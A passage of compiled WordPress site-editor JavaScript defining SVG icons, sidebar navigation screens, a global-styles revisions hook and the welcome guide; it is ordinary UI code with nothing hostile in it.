const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(EditorContentSlotFill.name);
return !!fills?.length;
}
/* harmony default export */ const editor_canvas_container = (EditorCanvasContainer);
;// ./node_modules/@wordpress/edit-site/build-module/hooks/commands/use-set-command-context.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useCommandContext
} = unlock(external_wp_commands_namespaceObject.privateApis);
const {
useLocation: use_set_command_context_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
/**
* React hook used to set the correct command context based on the current state.
*/
function useSetCommandContext() {
const {
query = {}
} = use_set_command_context_useLocation();
const {
canvas = 'view'
} = query;
const hasBlockSelected = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart();
}, []);
const hasEditorCanvasContainer = useHasEditorCanvasContainer();
// Sets the right context for the command palette
let commandContext = 'site-editor';
if (canvas === 'edit') {
commandContext = 'entity-edit';
}
if (hasBlockSelected) {
commandContext = 'block-selection-edit';
}
if (hasEditorCanvasContainer) {
/*
* The editor canvas overlay will likely be deprecated in the future, so for now we clear the command context
* to remove the suggested commands that may not make sense with Style Book or Style Revisions open.
* See https://github.com/WordPress/gutenberg/issues/62216.
*/
commandContext = '';
}
useCommandContext(commandContext);
}
;// ./node_modules/@wordpress/icons/build-module/library/navigation.js
/**
* WordPress dependencies
*/
const navigation = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"
})
});
/* harmony default export */ const library_navigation = (navigation);
;// ./node_modules/@wordpress/icons/build-module/library/page.js
/**
* WordPress dependencies
*/
const page = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"
})]
});
/* harmony default export */ const library_page = (page);
;// ./node_modules/@wordpress/icons/build-module/library/layout.js
/**
* WordPress dependencies
*/
const layout = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
})
});
/* harmony default export */ const library_layout = (layout);
;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
/**
* WordPress dependencies
*/
const symbol = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
})
});
/* harmony default export */ const library_symbol = (symbol);
;// ./node_modules/@wordpress/icons/build-module/library/chevron-right.js
/**
* WordPress dependencies
*/
const chevronRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"
})
});
/* harmony default export */ const chevron_right = (chevronRight);
;// ./node_modules/@wordpress/icons/build-module/library/chevron-left.js
/**
* WordPress dependencies
*/
const chevronLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"
})
});
/* harmony default export */ const chevron_left = (chevronLeft);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-button/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function SidebarButton(props) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
...props,
className: dist_clsx('edit-site-sidebar-button', props.className)
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: sidebar_navigation_screen_useHistory,
useLocation: sidebar_navigation_screen_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function SidebarNavigationScreen({
isRoot,
title,
actions,
content,
footer,
description,
backPath: backPathProp
}) {
const {
dashboardLink,
dashboardLinkText,
previewingThemeName
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSettings
} = unlock(select(store));
const currentlyPreviewingThemeId = currentlyPreviewingTheme();
return {
dashboardLink: getSettings().__experimentalDashboardLink,
dashboardLinkText: getSettings().__experimentalDashboardLinkText,
// Do not call `getTheme` with null, it will cause a request to
// the server.
previewingThemeName: currentlyPreviewingThemeId ? select(external_wp_coreData_namespaceObject.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : undefined
};
}, []);
const location = sidebar_navigation_screen_useLocation();
const history = sidebar_navigation_screen_useHistory();
const {
navigate
} = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
const backPath = backPathProp !== null && backPathProp !== void 0 ? backPathProp : location.state?.backPath;
const icon = (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: dist_clsx('edit-site-sidebar-navigation-screen__main', {
'has-footer': !!footer
}),
spacing: 0,
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 3,
alignment: "flex-start",
className: "edit-site-sidebar-navigation-screen__title-icon",
children: [!isRoot && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarButton, {
onClick: () => {
history.navigate(backPath);
navigate('back');
},
icon: icon,
label: (0,external_wp_i18n_namespaceObject.__)('Back'),
showTooltip: false
}), isRoot && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarButton, {
icon: icon,
label: dashboardLinkText || (0,external_wp_i18n_namespaceObject.__)('Go to the Dashboard'),
href: dashboardLink
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
className: "edit-site-sidebar-navigation-screen__title",
color: '#e0e0e0' /* $gray-200 */,
level: 1,
size: 20,
children: !isPreviewingTheme() ? title : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: theme name. 2: title */
(0,external_wp_i18n_namespaceObject.__)('Previewing %1$s: %2$s'), previewingThemeName, title)
}), actions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar-navigation-screen__actions",
children: actions
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "edit-site-sidebar-navigation-screen__content",
children: [description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar-navigation-screen__description",
children: description
}), content]
})]
}), footer && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("footer", {
className: "edit-site-sidebar-navigation-screen__footer",
children: footer
})]
});
}
;// ./node_modules/@wordpress/icons/build-module/icon/index.js
/**
* WordPress dependencies
*/
/** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */
/**
* Return an SVG icon.
*
* @param {IconProps} props icon is the SVG component to render
* size is a number specifying the icon size in pixels
* Other props will be passed to wrapped SVG component
* @param {import('react').ForwardedRef<HTMLElement>} ref The forwarded ref to the SVG element.
*
* @return {JSX.Element} Icon component
*/
function Icon({
icon,
size = 24,
...props
}, ref) {
return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
width: size,
height: size,
...props,
ref
});
}
/* harmony default export */ const build_module_icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon));
;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
/**
* WordPress dependencies
*/
const chevronLeftSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"
})
});
/* harmony default export */ const chevron_left_small = (chevronLeftSmall);
;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
/**
* WordPress dependencies
*/
const chevronRightSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"
})
});
/* harmony default export */ const chevron_right_small = (chevronRightSmall);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-item/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: sidebar_navigation_item_useHistory,
useLink
} = unlock(external_wp_router_namespaceObject.privateApis);
function SidebarNavigationItem({
className,
icon,
withChevron = false,
suffix,
uid,
to,
onClick,
children,
...props
}) {
const history = sidebar_navigation_item_useHistory();
const {
navigate
} = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
// If there is no custom click handler, create one that navigates to `params`.
function handleClick(e) {
if (onClick) {
onClick(e);
navigate('forward');
} else if (to) {
e.preventDefault();
history.navigate(to);
navigate('forward', `[id="${uid}"]`);
}
}
const linkProps = useLink(to);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
className: dist_clsx('edit-site-sidebar-navigation-item', {
'with-suffix': !withChevron && suffix
}, className),
id: uid,
onClick: handleClick,
href: to ? linkProps.href : undefined,
...props,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
children: [icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
style: {
fill: 'currentcolor'
},
icon: icon,
size: 24
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, {
children: children
}), withChevron && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_small : chevron_right_small,
className: "edit-site-sidebar-navigation-item__drilldown-indicator",
size: 24
}), !withChevron && suffix]
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/use-global-styles-revisions.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const SITE_EDITOR_AUTHORS_QUERY = {
per_page: -1,
_fields: 'id,name,avatar_urls',
context: 'view',
capabilities: ['edit_theme_options']
};
const DEFAULT_QUERY = {
per_page: 100,
page: 1
};
const use_global_styles_revisions_EMPTY_ARRAY = [];
const {
GlobalStylesContext: use_global_styles_revisions_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function useGlobalStylesRevisions({
query
} = {}) {
const {
user: userConfig
} = (0,external_wp_element_namespaceObject.useContext)(use_global_styles_revisions_GlobalStylesContext);
const _query = {
...DEFAULT_QUERY,
...query
};
const {
authors,
currentUser,
isDirty,
revisions,
isLoadingGlobalStylesRevisions,
revisionsCount
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
var _globalStyles$_links$;
const {
__experimentalGetDirtyEntityRecords,
getCurrentUser,
getUsers,
getRevisions,
__experimentalGetCurrentGlobalStylesId,
getEntityRecord,
isResolving
} = select(external_wp_coreData_namespaceObject.store);
const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
const _currentUser = getCurrentUser();
const _isDirty = dirtyEntityRecords.length > 0;
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
const _revisionsCount = (_globalStyles$_links$ = globalStyles?._links?.['version-history']?.[0]?.count) !== null && _globalStyles$_links$ !== void 0 ? _globalStyles$_links$ : 0;
const globalStylesRevisions = getRevisions('root', 'globalStyles', globalStylesId, _query) || use_global_styles_revisions_EMPTY_ARRAY;
const _authors = getUsers(SITE_EDITOR_AUTHORS_QUERY) || use_global_styles_revisions_EMPTY_ARRAY;
const _isResolving = isResolving('getRevisions', ['root', 'globalStyles', globalStylesId, _query]);
return {
authors: _authors,
currentUser: _currentUser,
isDirty: _isDirty,
revisions: globalStylesRevisions,
isLoadingGlobalStylesRevisions: _isResolving,
revisionsCount: _revisionsCount
};
}, [query]);
return (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!authors.length || isLoadingGlobalStylesRevisions) {
return {
revisions: use_global_styles_revisions_EMPTY_ARRAY,
hasUnsavedChanges: isDirty,
isLoading: true,
revisionsCount
};
}
// Adds author details to each revision.
const _modifiedRevisions = revisions.map(revision => {
return {
...revision,
author: authors.find(author => author.id === revision.author)
};
});
const fetchedRevisionsCount = revisions.length;
if (fetchedRevisionsCount) {
// Flags the most current saved revision.
if (_modifiedRevisions[0].id !== 'unsaved' && _query.page === 1) {
_modifiedRevisions[0].isLatest = true;
}
// Adds an item for unsaved changes.
if (isDirty && userConfig && Object.keys(userConfig).length > 0 && currentUser && _query.page === 1) {
const unsavedRevision = {
id: 'unsaved',
styles: userConfig?.styles,
settings: userConfig?.settings,
_links: userConfig?._links,
author: {
name: currentUser?.name,
avatar_urls: currentUser?.avatar_urls
},
modified: new Date()
};
_modifiedRevisions.unshift(unsavedRevision);
}
if (_query.page === Math.ceil(revisionsCount / _query.per_page)) {
// Adds an item for the default theme styles.
_modifiedRevisions.push({
id: 'parent',
styles: {},
settings: {}
});
}
}
return {
revisions: _modifiedRevisions,
hasUnsavedChanges: isDirty,
isLoading: false,
revisionsCount
};
}, [isDirty, revisions, currentUser, authors, userConfig, isLoadingGlobalStylesRevisions]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-details-footer/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function SidebarNavigationScreenDetailsFooter({
record,
revisionsCount,
...otherProps
}) {
var _record$_links$predec;
/*
* There might be other items in the future,
* but for now it's just modified date.
* Later we might render a list of items and isolate
* the following logic.
*/
const hrefProps = {};
const lastRevisionId = (_record$_links$predec = record?._links?.['predecessor-version']?.[0]?.id) !== null && _record$_links$predec !== void 0 ? _record$_links$predec : null;
// Use incoming prop first, then the record's version history, if available.
revisionsCount = revisionsCount || record?._links?.['version-history']?.[0]?.count || 0;
/*
* Enable the revisions link if there is a last revision and there is more than one revision.
* This link is used for theme assets, e.g., templates, which have no database record until they're edited.
* For these files there's only a "revision" after they're edited twice,
* which means the revision.php page won't display a proper diff.
* See: https://github.com/WordPress/gutenberg/issues/49164.
*/
if (lastRevisionId && revisionsCount > 1) {
hrefProps.href = (0,external_wp_url_namespaceObject.addQueryArgs)('revision.php', {
revision: record?._links['predecessor-version'][0].id
});
hrefProps.as = 'a';
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
size: "large",
className: "edit-site-sidebar-navigation-screen-details-footer",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
icon: library_backup,
...hrefProps,
...otherProps,
children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: Number of Styles revisions. */
(0,external_wp_i18n_namespaceObject._n)('%d Revision', '%d Revisions', revisionsCount), revisionsCount)
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-global-styles/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: sidebar_navigation_screen_global_styles_useLocation,
useHistory: sidebar_navigation_screen_global_styles_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function SidebarNavigationItemGlobalStyles(props) {
const {
name
} = sidebar_navigation_screen_global_styles_useLocation();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
...props,
"aria-current": name === 'styles'
});
}
function SidebarNavigationScreenGlobalStyles() {
const history = sidebar_navigation_screen_global_styles_useHistory();
const {
path
} = sidebar_navigation_screen_global_styles_useLocation();
const {
revisions,
isLoading: isLoadingRevisions,
revisionsCount
} = useGlobalStylesRevisions();
const {
openGeneralSidebar
} = (0,external_wp_data_namespaceObject.useDispatch)(store);
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const {
set: setPreference
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const openGlobalStyles = (0,external_wp_element_namespaceObject.useCallback)(async () => {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
canvas: 'edit'
}), {
transition: 'canvas-mode-edit-transition'
});
return Promise.all([setPreference('core', 'distractionFree', false), openGeneralSidebar('edit-site/global-styles')]);
}, [path, history, openGeneralSidebar, setPreference]);
const openRevisions = (0,external_wp_element_namespaceObject.useCallback)(async () => {
await openGlobalStyles();
// Open the global styles revisions once the canvas mode is set to edit,
// and the global styles sidebar is open. The global styles UI is responsible
// for redirecting to the revisions screen once the editor canvas container
// has been set to 'global-styles-revisions'.
setEditorCanvasContainerView('global-styles-revisions');
}, [openGlobalStyles, setEditorCanvasContainerView]);
// If there are no revisions, do not render a footer.
const shouldShowGlobalStylesFooter = !!revisionsCount && !isLoadingRevisions;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Design'),
isRoot: true,
description: (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of your website using the block editor.'),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MainSidebarNavigationContent, {
activeItem: "styles-navigation-item"
}),
footer: shouldShowGlobalStylesFooter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenDetailsFooter, {
record: revisions?.[0],
revisionsCount: revisionsCount,
onClick: openRevisions
})
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-main/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function MainSidebarNavigationContent({
isBlockBasedTheme = true
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-navigation-screen-main",
children: [isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
uid: "navigation-navigation-item",
to: "/navigation",
withChevron: true,
icon: library_navigation,
children: (0,external_wp_i18n_namespaceObject.__)('Navigation')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItemGlobalStyles, {
to: "/styles",
uid: "global-styles-navigation-item",
icon: library_styles,
children: (0,external_wp_i18n_namespaceObject.__)('Styles')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
uid: "page-navigation-item",
to: "/page",
withChevron: true,
icon: library_page,
children: (0,external_wp_i18n_namespaceObject.__)('Pages')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
uid: "template-navigation-item",
to: "/template",
withChevron: true,
icon: library_layout,
children: (0,external_wp_i18n_namespaceObject.__)('Templates')
})]
}), !isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
uid: "stylebook-navigation-item",
to: "/stylebook",
withChevron: true,
icon: library_styles,
children: (0,external_wp_i18n_namespaceObject.__)('Styles')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
uid: "patterns-navigation-item",
to: "/pattern",
withChevron: true,
icon: library_symbol,
children: (0,external_wp_i18n_namespaceObject.__)('Patterns')
})]
});
}
function SidebarNavigationScreenMain({
customDescription
}) {
const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, []);
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
// Clear the editor canvas container view when accessing the main navigation screen.
(0,external_wp_element_namespaceObject.useEffect)(() => {
setEditorCanvasContainerView(undefined);
}, [setEditorCanvasContainerView]);
let description;
if (customDescription) {
description = customDescription;
} else if (isBlockBasedTheme) {
description = (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of your website using the block editor.');
} else {
description = (0,external_wp_i18n_namespaceObject.__)('Explore block styles and patterns to refine your site.');
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
isRoot: true,
title: (0,external_wp_i18n_namespaceObject.__)('Design'),
description: description,
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MainSidebarNavigationContent, {
isBlockBasedTheme: isBlockBasedTheme
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-unsupported/index.js
/**
* WordPress dependencies
*/
function SidebarNavigationScreenUnsupported() {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
padding: 3,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
status: "warning",
isDismissible: false,
children: (0,external_wp_i18n_namespaceObject.__)('The theme you are currently using does not support this screen.')
})
});
}
;// ./node_modules/@wordpress/icons/build-module/library/arrow-up-left.js
/**
* WordPress dependencies
*/
const arrowUpLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M14 6H6v8h1.5V8.5L17 18l1-1-9.5-9.5H14V6Z"
})
});
/* harmony default export */ const arrow_up_left = (arrowUpLeft);
;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/image.js
function WelcomeGuideImage({
nonAnimatedSrc,
animatedSrc
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", {
className: "edit-site-welcome-guide__image",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
srcSet: nonAnimatedSrc,
media: "(prefers-reduced-motion: reduce)"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
src: animatedSrc,
width: "312",
height: "240",
alt: ""
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/editor.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function WelcomeGuideEditor() {
const {
toggle
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const {
isActive,
isBlockBasedTheme
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
return {
isActive: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuide'),
isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme
};
}, []);
if (!isActive || !isBlockBasedTheme) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
className: "edit-site-welcome-guide guide-editor",
contentLabel: (0,external_wp_i18n_namespaceObject.__)('Welcome to the site editor'),
finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'),
onFinish: () => toggle('core/edit-site', 'welcomeGuide'),
pages: [{
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
nonAnimatedSrc: "https://s.w.org/images/block-editor/edit-your-site.svg?1",
animatedSrc: "https://s.w.org/images/block-editor/edit-your-site.gif?1"
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: (0,external_wp_i18n_namespaceObject.__)('Edit your site')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_i18n_namespaceObject.__)('Design everything on your site — from the header right down to the footer — using blocks.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('Click <StylesIconImage /> to start designing your blocks, and choose your typography, layout, and colors.'), {
StylesIconImage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
alt: (0,external_wp_i18n_namespaceObject.__)('styles'),
src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' fill='%231E1E1E'/%3E%3C/svg%3E%0A"
})
})
})]
})
}]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/styles.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
interfaceStore: styles_interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);
function WelcomeGuideStyles() {
const {
toggle
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const {
isActive,
isStylesOpen
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const sidebar = select(styles_interfaceStore).getActiveComplementaryArea('core');
return {
isActive: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuideStyles'),
